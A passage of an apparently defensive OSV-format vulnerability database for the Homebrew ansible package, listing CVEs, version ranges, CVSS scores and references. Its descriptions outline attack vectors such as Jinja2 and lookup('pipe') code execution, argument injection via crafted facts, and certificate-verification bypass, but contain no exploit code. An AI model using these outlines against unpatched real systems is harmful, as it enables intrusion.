file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `&quot;deb http://user:pass@server:port/&quot;` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2020-202","CVE-2014-4660","GHSA-5xm4-jmpw-p6j3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in sources.list, which might allow local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the \"deb http://user:pass@server:port/\" format.","references":[{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5xm4-jmpw-p6j3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2020-203","CVE-2014-4678","GHSA-66c7-5pwv-mm3j"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","references":[{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-66c7-5pwv-mm3j"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4966","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2020-204","CVE-2014-4966","GHSA-wqq5-c89p-3wc3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"ADVISORY","url":"http://www.ocert.org/advisories/ocert-2014-004.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wqq5-c89p-3wc3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2020-205","CVE-2014-4967","GHSA-64cw-m57j-65xj"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"ADVISORY","url":"http://www.ocert.org/advisories/ocert-2014-004.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-64cw-m57j-65xj"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-7144","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-7f2c-vp52-gmfw","CVE-2014-7144","PYSEC-2014-26","PYSEC-2014-71"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack keystonemiddleware does not verify certificate","details":"OpenStack keystonemiddleware (formerly python-keystoneclient) 0.x before 0.11.0 and 1.x before 1.2.0 disables certification verification when the \"insecure\" option is set in a paste configuration (`paste.ini`) file regardless of the value, which allows remote attackers to conduct man-in-the-middle attacks via a crafted certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7144"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1353315"},{"type":"WEB","url":"https://github.com/openstack/ossa/blob/23e15de721f4a6890374a231d93524e02965a97f/ossa/OSSA-2014-030.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/keystonemiddleware/PYSEC-2014-26.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-71.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200228053850/http://www.securityfocus.com/bid/69864"},{"type":"WEB","url":"https://web.archive.org/web/20200228060511/https://www.securityfocus.com/bid/69864"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1783.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1784.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-0020.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/09/25/51"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2705-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-7231","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-v933-vx5p-j7w2","CVE-2014-7231","PYSEC-2026-892"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.0","resource":"oslo-utils","resource_purl":"pkg:pypi/oslo-utils@10.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oslo-utils","subject_version":"10.2.0","key":"pkg:pypi/oslo-utils@10.2.0","resource":"oslo-utils"}]},"summary":"OpenStack Oslo utility sensitive information exposure via log files","details":"The strutils.mask_password function in the OpenStack Oslo utility library, Cinder, Nova, and Trove before 2013.2.4 and 2014.1 before 2014.1.3 does not properly mask passwords when logging commands, which allows local users to obtain passwords by reading the log.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7231"},{"type":"WEB","url":"https://bugs.launchpad.net/oslo.utils/+bug/1345233"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/96726"},{"type":"PACKAGE","url":"https://github.com/openstack/oslo.utils"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1939.html"},{"type":"WEB","url":"http://seclists.org/oss-sec/2014/q3/853"},{"type":"WEB","url":"http://www.securityfocus.com/bid/70184"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-1852","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-p9wq-mjh8-q72m","CVE-2015-1852","PYSEC-2015-30","PYSEC-2015-31"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.4.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack keystonemiddleware and python-keystoneclient vulnerable to man-in-the-middle attacks","details":"The s3_token middleware in OpenStack keystonemiddleware before 1.6.0 and python-keystoneclient before 1.4.0 disables certification verification when the \"insecure\" option is set in a paste configuration (paste.ini) file regardless of the value, which allows remote attackers to conduct man-in-the-middle attacks via a crafted certificate, a different vulnerability than CVE-2014-7144.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-1852"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2015:1677"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2015:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2015-1852"},{"type":"WEB","url":"https://bugs.launchpad.net/keystonemiddleware/+bug/1411063"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1209527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/keystonemiddleware/PYSEC-2015-30.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2015-31.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200228060649/http://www.securityfocus.com/bid/74187"},{"type":"WEB","url":"http://lists.openstack.org/pipermail/openstack-announce/2015-April/000350.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-1677.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-1685.html"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/bulletinapr2015-2511959.html"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2705-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-2296","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:58Z","upstream":["GHSA-pg2w-x9wp-vw92","CVE-2015-2296","PYSEC-2015-17"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"1.8.4_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Python Requests Session Fixation","details":"The `resolve_redirects` function in sessions.py in requests 2.1.0 through 2.5.3 allows remote attackers to conduct session fixation attacks via a cookie without a host value in a redirect.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-2296"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/commit/3bd8afbff29e50b38f889b2f688785a669b9aafc"},{"type":"WEB","url":"https://github.com/psf/requests/commit/3bd8afbff29e50b38f889b2f688785a669b9aafc"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2015-17.yaml"},{"type":"WEB","url":"https://warehouse.python.org/project/requests/2.6.0"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2015-0120.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153594.html"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/03/14/4"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/03/15/1"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2531-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-3206","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:24Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.0.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-3908","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-6240","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2017-3","CVE-2015-6240","GHSA-wwwh-47wp-m522"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wwwh-47wp-m522"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-8557","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-fff8-4w9p-7v76","CVE-2015-8557","PYSEC-2016-32"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.1","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Command Injection in Pygments","details":"The FontManager._get_nix_font_path function in formatters/img.py in Pygments 1.2.2 through 2.0.2 allows remote attackers to execute arbitrary commands via shell metacharacters in a font name.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-8557"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/db6dd826f8624179e563aaded391efe824462f51"},{"type":"WEB","url":"https://bitbucket.org/birkenfeld/pygments-main/pull-requests/501/fix-shell-injection-in/diff"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-fff8-4w9p-7v76"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2016-32.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201612-05"},{"type":"WEB","url":"http://packetstormsecurity.com/files/133823/Pygments-FontManager._get_nix_font_path-Shell-Injection.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2015/Oct/4"},{"type":"WEB","url":"http://www.debian.org/security/2016/dsa-3445"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/12/14/17"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/12/14/6"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/bulletinjan2016-2867206.html"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2862-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-10745","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-hj2j-77xm-mc5v","CVE-2016-10745","PYSEC-2019-220"],"affected":[{"package":{"ecosystem"